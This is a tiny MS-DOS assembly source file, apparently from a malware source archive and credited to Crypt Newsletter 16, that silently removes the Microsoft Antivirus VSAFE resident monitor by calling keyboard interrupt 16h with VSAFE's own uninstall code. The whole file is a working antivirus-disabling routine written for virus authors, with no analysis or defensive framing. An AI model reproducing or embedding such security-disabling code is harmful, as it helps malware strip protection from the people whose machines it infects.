MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vslay.asm

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2021-01-13 00:07:35 +00:00
;VSLAY - simple de-install Microsoft Antivirus VSAFE
;demonstration code for Crypt Newsletter 16
code segment
assume cs:code, ds:code, es:code, ss:nothing
org 100h
begin: call vslay
vslay:
mov ax,64001 ;wakes up VSAFE to keyboard input
mov dx,5945h ;asks VSAFE to de-install
int 16h ;calls VSAFE-hooked interrupt: keyboard
ret ;exit
code ends
end begin